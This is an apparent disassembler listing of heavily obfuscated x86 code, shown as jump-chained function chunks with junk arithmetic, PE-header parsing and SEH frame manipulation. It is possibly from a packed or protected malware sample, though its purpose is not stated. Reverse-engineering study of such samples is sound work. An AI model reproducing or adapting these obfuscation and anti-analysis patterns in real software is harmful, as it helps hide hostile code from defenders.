jmp sub_42A5A2
; ---------------------------------------------------------------------------
db 70h, 7Dh, 0
dword_422264 dd 754h ; DATA XREF: _94j21ax3:loc_4216EBw
; sub_42131B:loc_424C06w ...
dword_422268 dd 4EEFA8ECh ; DATA XREF: sub_426809-5766w
; ---------------------------------------------------------------------------
loc_42226C: ; CODE XREF: _94j21ax3:0042A001j
jmp locret_4249A3
; ---------------------------------------------------------------------------
db 3, 0B1h, 25h
dword_422274 dd 77D40000h ; DATA XREF: sub_421402:loc_4244D6w
; sub_428993+3r ...
dword_422278 dd 0E42B6E57h, 325C4699h ; DATA XREF: sub_421F28+2752o
; sub_428993-B66o
; ---------------------------------------------------------------------------
mov byte ptr [ebx], 0
; START OF FUNCTION CHUNK FOR sub_425330
loc_422283: ; CODE XREF: sub_425330:loc_425341j
jmp loc_426E2E
; END OF FUNCTION CHUNK FOR sub_425330
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422866
loc_422288: ; CODE XREF: sub_422866+13BDj
jmp loc_429E97
; END OF FUNCTION CHUNK FOR sub_422866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_42228D: ; CODE XREF: sub_423614+13j
jmp loc_42705F
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A2B1
loc_422292: ; CODE XREF: sub_42A2B1:loc_429D0Fj
add esi, 0E56C24F0h
add esi, ebp
call sub_42A9D8
; END OF FUNCTION CHUNK FOR sub_42A2B1
; START OF FUNCTION CHUNK FOR sub_425330
loc_42229F: ; CODE XREF: sub_425330+4D01j
jmp loc_429850
; END OF FUNCTION CHUNK FOR sub_425330
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BD03
loc_4222A4: ; CODE XREF: sub_42BD03-987Bj
; sub_42BD03:loc_423201j
mov eax, [ebp-4]
mov eax, [eax]
and eax, 0FFFFFFh
cmp eax, 0C3C033h
jmp loc_42B3BF
; END OF FUNCTION CHUNK FOR sub_42BD03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426A83
loc_4222B8: ; CODE XREF: sub_426A83+17j
push eax
call sub_42780F
call sub_423F55
loc_4222C3: ; CODE XREF: sub_429CAE-D18j
jmp nullsub_37
; END OF FUNCTION CHUNK FOR sub_426A83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_4222C8: ; CODE XREF: sub_423FCD-2275j
cmp edi, 80000001h
jbe loc_423047
jmp loc_42AF89
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
locret_4222D9: ; CODE XREF: _94j21ax3:loc_424C98j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428EBB
loc_4222DA: ; CODE XREF: sub_428EBB:loc_428ED5j
pop ecx
shl eax, 7
mov edx, [ebp+8]
mov edx, [edx-8]
or edx, 40h
or eax, edx
mov edx, [ebp+8]
mov [edx-8], eax
jmp loc_42AE45
; END OF FUNCTION CHUNK FOR sub_428EBB
; ---------------------------------------------------------------------------
push 0F33E9CE3h
ror ebp, 10h
jmp sub_423717
; ---------------------------------------------------------------------------
or ebp, 0F6C1B216h
adc ebp, 30C38C31h
jmp sub_425448
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425819
loc_422312: ; CODE XREF: sub_425819-129Cj
pop eax
jmp loc_425053
; ---------------------------------------------------------------------------
loc_422318: ; CODE XREF: sub_425819+13FEj
xor eax, ecx
add ecx, eax
push offset loc_42567C
jmp loc_428B33
; END OF FUNCTION CHUNK FOR sub_425819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422048
loc_422326: ; CODE XREF: sub_422048:loc_4220B2j
cmp dword ptr [ebp-4], 0
jz loc_427103
mov eax, [ebp-4]
add eax, 3Ch
mov eax, [eax]
add eax, [ebp-4]
jmp loc_424D40
; END OF FUNCTION CHUNK FOR sub_422048
; ---------------------------------------------------------------------------
xor edi, eax
jmp sub_42AFFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AE5A
loc_422347: ; CODE XREF: sub_42AE5A:loc_428FE7j
cmp ebx, 0E708E4EAh
cmp edx, 6FAFA168h
and ecx, ebx
push edi
push 93459B86h
pop edi
or edi, 0C3DC47DDh
rol edi, 15h
jmp loc_425FD4
; END OF FUNCTION CHUNK FOR sub_42AE5A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42236A: ; CODE XREF: sub_42284F+6EA3j
jz loc_4270B0
jmp loc_4230C9
; END OF FUNCTION CHUNK FOR sub_42284F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
pop ecx
jmp sub_424692
; =============== S U B R O U T I N E =======================================
sub_42237C proc near ; CODE XREF: sub_423324-18B0p
xchg ebp, [esp+0]
mov ebp, [esp+0]
xchg eax, ebp
ror eax, 0Dh
mov ds:dword_424090, eax
jmp nullsub_14
sub_42237C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422392 proc near ; CODE XREF: sub_42A3EEj
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004211D8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00421AE9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422CD3 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 004241A8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004273EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004291F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A188 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A28E SIZE 0000000B BYTES
push ebp
mov ebp, esp
jmp loc_4273EB
sub_422392 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_42239B: ; CODE XREF: sub_42A0CC-1B17j
jmp nullsub_93
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BAD4
loc_4223A0: ; CODE XREF: _94j21ax3:004219E9j
; sub_42BAD4+3j
inc dword ptr [ebp-18h]
push offset loc_421E9F
jmp nullsub_169
; END OF FUNCTION CHUNK FOR sub_42BAD4
; ---------------------------------------------------------------------------
mov edx, [ebp+0]
cmp esi, 0B47AA71Ch
loc_4223B6: ; CODE XREF: _94j21ax3:loc_425162j
jmp loc_4254A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_4223BB: ; CODE XREF: sub_42C1AE-B0B9j
rol esi, 9
jmp loc_424ECD
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_4223C3: ; CODE XREF: sub_423324+2323j
jg loc_423AED
loc_4223C9: ; CODE XREF: sub_424C37:loc_4240E3j
push 0F3CBF4A2h
add [esp+0Ch+var_C], 0C340B5Eh
push edx
jmp loc_42C20C
; ---------------------------------------------------------------------------
loc_4223DB: ; CODE XREF: sub_423324+1096j
jle loc_425AB3
add edx, edi
push ebx
jb loc_421FFD
jmp loc_42BEC6
; END OF FUNCTION CHUNK FOR sub_423324
; =============== S U B R O U T I N E =======================================
sub_4223EF proc near ; DATA XREF: sub_423324:loc_422F46o
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0042B98C SIZE 0000000A BYTES
mov eax, [ebp-14h]
mov eax, [eax+20h]
add eax, [ebp-4]
xor edx, edx
push edx
push eax
jmp loc_42B98C
sub_4223EF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_422401 proc near ; CODE XREF: sub_422058+Ep
; sub_422C48+6903j
xchg eax, [esp+0]
pop eax
call sub_4239A5
call sub_424320
loc_42240F: ; CODE XREF: sub_42A77E+Ej
jmp nullsub_71
sub_422401 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422A20
loc_422414: ; CODE XREF: sub_422A20+17j
jmp loc_42749D
; END OF FUNCTION CHUNK FOR sub_422A20
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425157
loc_42241B: ; CODE XREF: sub_425157+6j
jmp loc_4275C6
; END OF FUNCTION CHUNK FOR sub_425157
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_422420: ; CODE XREF: sub_42A7A6:loc_4217D7j
add edx, 0A60F73D1h
xor edx, 0ADDDBE9Ch
loc_42242C: ; CODE XREF: _94j21ax3:00424144j
push offset loc_42223B
jmp nullsub_114
; END OF FUNCTION CHUNK FOR sub_42A7A6
; =============== S U B R O U T I N E =======================================
sub_422436 proc near ; DATA XREF: _94j21ax3:004264D2o
; FUNCTION CHUNK AT 00428175 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004295E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B458 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042C393 SIZE 0000000B BYTES
test eax, eax
jnz loc_4225C8
jmp loc_428175
sub_422436 endp
; ---------------------------------------------------------------------------
and edx, 0F6FDF6D7h
jnz loc_42A2F1
jmp sub_4251D5
; ---------------------------------------------------------------------------
adc ebp, esi
jmp sub_421A4F
; ---------------------------------------------------------------------------
adc ebp, esi
jmp sub_4281A5
; ---------------------------------------------------------------------------
loc_422462: ; CODE XREF: _94j21ax3:0042897Cj
rol esi, 1Ah
or esi, 0E49D7C1Fh
test esi, 40000h
jmp loc_4210D7
; ---------------------------------------------------------------------------
xor ecx, 2430B18Ah
jmp loc_422E54
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BD03
loc_422481: ; CODE XREF: sub_42BD03-8AFCj
sbb eax, edi
sbb ebp, ecx
ror esi, 19h
jmp loc_4222A4
; END OF FUNCTION CHUNK FOR sub_42BD03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425B77
loc_42248D: ; CODE XREF: sub_425B77-1B3Bj
xchg edx, [esp+0]
jmp sub_42A8BB
; END OF FUNCTION CHUNK FOR sub_425B77
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_422495: ; CODE XREF: sub_421D33+A581j
or eax, eax
jnz loc_4249A4
jmp loc_42783E
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4224A2: ; CODE XREF: sub_42284F:loc_423946j
jz sub_42773C
jmp loc_42AB95
; END OF FUNCTION CHUNK FOR sub_42284F
; =============== S U B R O U T I N E =======================================
sub_4224AD proc near ; DATA XREF: sub_42C0BC-3B3Eo
add eax, edi
pop edi
call sub_4281A5
sub_4224AD endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_426FE1
loc_4224B5: ; CODE XREF: sub_426FE1+13j
jmp loc_429705
; END OF FUNCTION CHUNK FOR sub_426FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4267C6
loc_4224BA: ; CODE XREF: sub_4267C6+16j
jmp loc_424A2A
; END OF FUNCTION CHUNK FOR sub_4267C6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_4224C0: ; CODE XREF: sub_422EB0+DAj
; sub_422E59:loc_428B18j
xor eax, eax
mov [ebp-8], eax
loc_4224C5: ; CODE XREF: sub_422EB0+7249j
; _94j21ax3:loc_42BBDEj
jnz loc_423FEC
mov eax, [ebp-8]
jmp loc_42A0EA
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
test ecx, eax
jmp loc_425AFA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429447
loc_4224DA: ; CODE XREF: sub_429447:loc_42945Aj
mov [ecx], eax
pop ecx
mov eax, [ebp-4]
mov ecx, offset sub_4274BF
jmp loc_424293
; END OF FUNCTION CHUNK FOR sub_429447
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423284
loc_4224EA: ; CODE XREF: sub_423284:loc_4265BDj
jnb sub_42B706
add esp, 0FFFFFFF4h
mov [ebp-8], edx
mov [ebp-4], eax
jmp loc_42B06F
; END OF FUNCTION CHUNK FOR sub_423284
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BF1B
loc_4224FE: ; CODE XREF: sub_42BF1B:loc_42BF20j
mov [ebp-1Ch], eax
lea eax, [ebp-125h]
mov [ebp-20h], eax
loc_42250A: ; CODE XREF: _94j21ax3:00429C92j
mov eax, [ebp-1Ch]
push offset loc_427E93
; END OF FUNCTION CHUNK FOR sub_42BF1B
; START OF FUNCTION CHUNK FOR sub_42BAD4
loc_422512: ; CODE XREF: sub_42BAD4:loc_425B27j
jmp nullsub_170
; END OF FUNCTION CHUNK FOR sub_42BAD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_422517: ; CODE XREF: sub_4294B3:loc_4256ACj
jz loc_429800
jmp loc_424E69
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_422522: ; CODE XREF: sub_4272E9:loc_421553j
jnz loc_42C27C
jmp loc_4232E5
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
loc_42252D: ; CODE XREF: _94j21ax3:loc_426B1Fj
add eax, 56FECD8Fh
jmp loc_427F03
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422538 proc near ; CODE XREF: sub_426612j
; FUNCTION CHUNK AT 00424E8E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042722A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042905F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042BD8A SIZE 00000005 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
cmp ds:dword_4256CC, 0
jnz loc_42905F
push 7093F41Ch
pop edx
jmp loc_42BD8A
sub_422538 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4281A5
loc_422556: ; CODE XREF: sub_4281A5:loc_428B87j
jz loc_424A79
mov ecx, [ebx+ecx+0Ch]
or ecx, ecx
jz loc_424A79
call sub_4269EC
loc_42256D: ; CODE XREF: sub_4272E9-117j
jnz loc_424A79
mov eax, ebx
jmp loc_424A7B
; ---------------------------------------------------------------------------
loc_42257A: ; CODE XREF: sub_4281A5:loc_42933Ej
mov ecx, [ebx+3Ch]
jmp loc_42C3D1
; END OF FUNCTION CHUNK FOR sub_4281A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42134B
loc_422582: ; CODE XREF: sub_42134B:loc_42742Bj
cmp dword ptr [ebp-8], 0
jz loc_421D73
jmp loc_429BF1
; END OF FUNCTION CHUNK FOR sub_42134B
; =============== S U B R O U T I N E =======================================
sub_422591 proc near ; CODE XREF: sub_4235AE+8p
mov [esp+0], edx
pop edx
call sub_429BC2
test eax, eax
sub_422591 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_42259C: ; CODE XREF: sub_42C0BC:loc_428E26j
setnz byte ptr [ebp-1]
jmp loc_428C05
; END OF FUNCTION CHUNK FOR sub_42C0BC
; =============== S U B R O U T I N E =======================================
sub_4225A5 proc near ; DATA XREF: sub_422FDC:loc_421310o
; FUNCTION CHUNK AT 004232BD SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00424061 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004266E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004280DE SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00429CEC SIZE 00000019 BYTES
mov eax, 6
sub eax, [ebp-4]
mov [ebp-4], eax
jmp loc_4232BD
sub_4225A5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B5 proc near ; CODE XREF: sub_423F55+295p
; sub_423F55+CFEp
; FUNCTION CHUNK AT 0042A05C SIZE 00000005 BYTES
push ebp
mov ebp, esp
push offset sub_427849
jmp loc_42A05C
sub_4225B5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421CAA
loc_4225C2: ; CODE XREF: sub_421CAA+7CE3j
jnb loc_42B110
loc_4225C8: ; CODE XREF: sub_422436+2j
; sub_421CAA:loc_4280D3j ...
push 0C2AC2E7h
pop eax
and eax, 0E6D145CBh
jmp loc_42734A
; END OF FUNCTION CHUNK FOR sub_421CAA
; =============== S U B R O U T I N E =======================================
sub_4225D9 proc near ; DATA XREF: _94j21ax3:0042151Co
call dword ptr [ebp-4]
sub_4225D9 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_423FE1
loc_4225DC: ; CODE XREF: sub_423FE1+6j
; sub_422E59+2A5Cj
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_423FE1
; ---------------------------------------------------------------------------
loc_4225E0: ; CODE XREF: _94j21ax3:00427425j
jo loc_42AFB2
pushf
jmp loc_42C4BC
; ---------------------------------------------------------------------------
mov edx, 63B18ECh
ror edx, 5
jmp sub_42A791
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425790
loc_4225F9: ; CODE XREF: sub_425790-41D9j
call sub_421CAA
loc_4225FE: ; CODE XREF: sub_42A9E7-2F47j
jmp loc_422C60
; END OF FUNCTION CHUNK FOR sub_425790
; ---------------------------------------------------------------------------
loc_422603: ; CODE XREF: _94j21ax3:00427CE5j
and ebp, 9F822041h
; =============== S U B R O U T I N E =======================================
sub_422609 proc near ; CODE XREF: sub_423324-183p
arg_0 = dword ptr 4
xchg esi, [esp+0]
pop esi
xchg esi, [esp-4+arg_0]
jmp sub_42574E
sub_422609 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_422615: ; CODE XREF: _94j21ax3:loc_423B20j
; _94j21ax3:00424997j
push ecx
call sub_4229FB
mov esi, ebp
adc ebx, 0DCADA5E6h
jmp sub_422058
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42982D
loc_422628: ; CODE XREF: sub_42982D:loc_427149j
jz loc_42324A
jmp loc_42978D
; END OF FUNCTION CHUNK FOR sub_42982D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_422633: ; CODE XREF: sub_421689:loc_4267AEj
; _94j21ax3:004267C1j
xor edi, 0AEE8B143h
add edi, ebp
add edi, 51375EC1h
mov [edi], eax
pop edi
cmp dword ptr [ebp-4], 0
jz loc_424955
jmp loc_4257AC
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AE5A
loc_422653: ; CODE XREF: sub_42AE5A+18j
test edx, 1
jmp loc_4291E7
; END OF FUNCTION CHUNK FOR sub_42AE5A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42265F proc near ; CODE XREF: sub_425475+4p
; FUNCTION CHUNK AT 00422161 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042317F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429215 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042B826 SIZE 00000008 BYTES
push ebp
call sub_4266F6
loc_422665: ; CODE XREF: _94j21ax3:0042BCF8j
jmp loc_422161
sub_42265F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42266A proc near ; CODE XREF: _94j21ax3:0042953Bj
; sub_42266A+9CC2p
; FUNCTION CHUNK AT 00421789 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422B6D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042650F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427C40 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428E3E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429585 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C324 SIZE 0000001A BYTES
xchg ebx, [esp+0]
pop ebx
pop eax
cmp dword ptr [eax], 0
jmp loc_42650F
sub_42266A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
locret_422677: ; CODE XREF: _94j21ax3:00422BC7j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429CAE
loc_422678: ; CODE XREF: sub_429CAE:loc_42930Dj
pop eax
xor eax, ds:4000F6h
and eax, 14D8BF16h
add eax, 0FFB19E54h
mov eax, [eax]
or eax, eax
jnz loc_423688
jmp loc_422F2E
; END OF FUNCTION CHUNK FOR sub_429CAE
; =============== S U B R O U T I N E =======================================
sub_42269A proc near ; CODE XREF: sub_4259BF+5167p
; _94j21ax3:0042AC11j
; FUNCTION CHUNK AT 00424618 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00428757 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428F60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429E3C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00429FE3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042B0B8 SIZE 00000011 BYTES
xchg edx, [esp+0]
pop edx
mov edx, 0E996F72Eh
push ecx
push 4E826A23h
jmp loc_424618
sub_42269A endp
; =============== S U B R O U T I N E =======================================
sub_4226AE proc near ; DATA XREF: sub_423324:loc_42AA44o
; FUNCTION CHUNK AT 00421783 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AF53 SIZE 00000020 BYTES
push ebx
push 0DDF6AF05h
pop ebx
xor ebx, 0B8BFE1FFh
or ebx, ds:4000F4h
jmp loc_421783
sub_4226AE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_4226C6: ; CODE XREF: sub_42C057:loc_425261j
sub edx, esi
jmp loc_42AF12
; END OF FUNCTION CHUNK FOR sub_42C057
; ---------------------------------------------------------------------------
ror ecx, 10h
jmp loc_426807
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_4226D5: ; CODE XREF: sub_421402+3C27j
push 0E0501894h
pop ebx
add ebx, 1FF23FEFh
xchg ebx, [esp+10h+var_10]
jmp loc_4257B2
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
jmp loc_42C4DF
; ---------------------------------------------------------------------------
pop large dword ptr fs:0
add esp, 4
; START OF FUNCTION CHUNK FOR sub_423C3E
loc_4226F8: ; CODE XREF: sub_423C3E:loc_42AE03j
pop ecx
pop ecx
pop ebp
jmp loc_421FA3
; END OF FUNCTION CHUNK FOR sub_423C3E
; ---------------------------------------------------------------------------
loc_422700: ; CODE XREF: _94j21ax3:00422E24j
test eax, ebp
jmp loc_421966
; =============== S U B R O U T I N E =======================================
sub_422707 proc near ; CODE XREF: sub_426C51+3p
call sub_4254AE
sub_422707 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42270C proc near ; CODE XREF: _94j21ax3:004221F1j
; sub_42BEFA:loc_42BF04p
; FUNCTION CHUNK AT 00421E14 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004227E7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00423148 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00424E5F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042562A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428217 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042A861 SIZE 0000000E BYTES
mov [esp+0], ecx
pop ecx
mov eax, [eax]
or eax, eax
jnz loc_421E14
jmp loc_42562A
sub_42270C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
pushf
jmp sub_4237DC
; ---------------------------------------------------------------------------
mov edx, 19EDC823h
push offset loc_4244C1
jmp locret_427D2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_422734: ; CODE XREF: sub_423324+5Bj
xchg eax, ecx
sub edi, eax
and esi, edi
loc_42273A: ; CODE XREF: sub_42C3BD:loc_42B303j
mov eax, 63h
push edi
push 0A232DFF0h
jmp loc_424798
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
loc_42274A: ; CODE XREF: _94j21ax3:0042929Bj
jnb loc_42A0E5
; =============== S U B R O U T I N E =======================================
sub_422750 proc near ; CODE XREF: sub_422CA6:loc_42AD44p
mov [esp+0], ecx
pop ecx
call nullsub_146
retn
sub_422750 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_42275A: ; CODE XREF: sub_42484C+180j
jmp loc_42B370
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_42275F: ; CODE XREF: sub_423FCD-266Cj
jmp nullsub_174
; END OF FUNCTION CHUNK FOR sub_423FCD
; =============== S U B R O U T I N E =======================================
sub_422764 proc near ; CODE XREF: _94j21ax3:004257D6j
; sub_42A0CC:loc_429171p
; FUNCTION CHUNK AT 00421AF3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042395A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00426F0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427992 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00429E69 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AEAD SIZE 00000005 BYTES
mov [esp+0], esi
pop esi
push ebx
push 0B8D7B585h
jmp loc_42395A
sub_422764 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_422773: ; CODE XREF: sub_4259BF+2CB3j
jge loc_4265F4
jmp loc_421BD9
; END OF FUNCTION CHUNK FOR sub_4259BF
; ---------------------------------------------------------------------------
loc_42277E: ; DATA XREF: sub_429862-1E44o
add dword ptr [ebp-8], 4
jmp loc_425061
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429862
loc_422787: ; CODE XREF: sub_429862-1E4Aj
add [ebp+var_8], 2
jmp loc_425061
; END OF FUNCTION CHUNK FOR sub_429862
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422790 proc near ; CODE XREF: sub_42764C+7p
; sub_421D33:loc_42B5ECp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00421980 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00426C3D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042864B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00428FE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AB2B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B8D6 SIZE 00000008 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jmp loc_42AB2B
sub_422790 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
locret_4227A1: ; CODE XREF: _94j21ax3:00427139j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4227A2: ; CODE XREF: sub_42284F+2EE7j
jmp loc_428F2E
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421142
loc_4227A7: ; CODE XREF: sub_421142+7j
jmp loc_4242C4
; END OF FUNCTION CHUNK FOR sub_421142
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B238
loc_4227AC: ; CODE XREF: sub_42B238-2EA0j
jns loc_425B72
mov ebp, 122852DFh
jmp loc_42C0CF
; END OF FUNCTION CHUNK FOR sub_42B238
; ---------------------------------------------------------------------------
add edi, ebp
xchg ecx, [ebx]
jmp sub_425475
; ---------------------------------------------------------------------------
loc_4227C5: ; CODE XREF: _94j21ax3:00426FD6j
jns loc_425341
sbb ecx, 35679B04h
adc edx, 4082095Bh
jmp loc_424041
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_4227DC: ; CODE XREF: sub_4272E9:loc_42B9E3j
jnz loc_42A4C6
jmp loc_42A573
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42270C
loc_4227E7: ; CODE XREF: sub_42270C:loc_424E5Fj
mov esi, offset sub_4227F5
xchg esi, [esp+0]
retn
; END OF FUNCTION CHUNK FOR sub_42270C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421330
loc_4227F0: ; CODE XREF: sub_421330+7DF7j
jmp loc_4279D7
; END OF FUNCTION CHUNK FOR sub_421330
; =============== S U B R O U T I N E =======================================
sub_4227F5 proc near ; DATA XREF: sub_42270C:loc_4227E7o
; FUNCTION CHUNK AT 004212F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424566 SIZE 0000000A BYTES
rol esi, 18h
jmp loc_4212F0
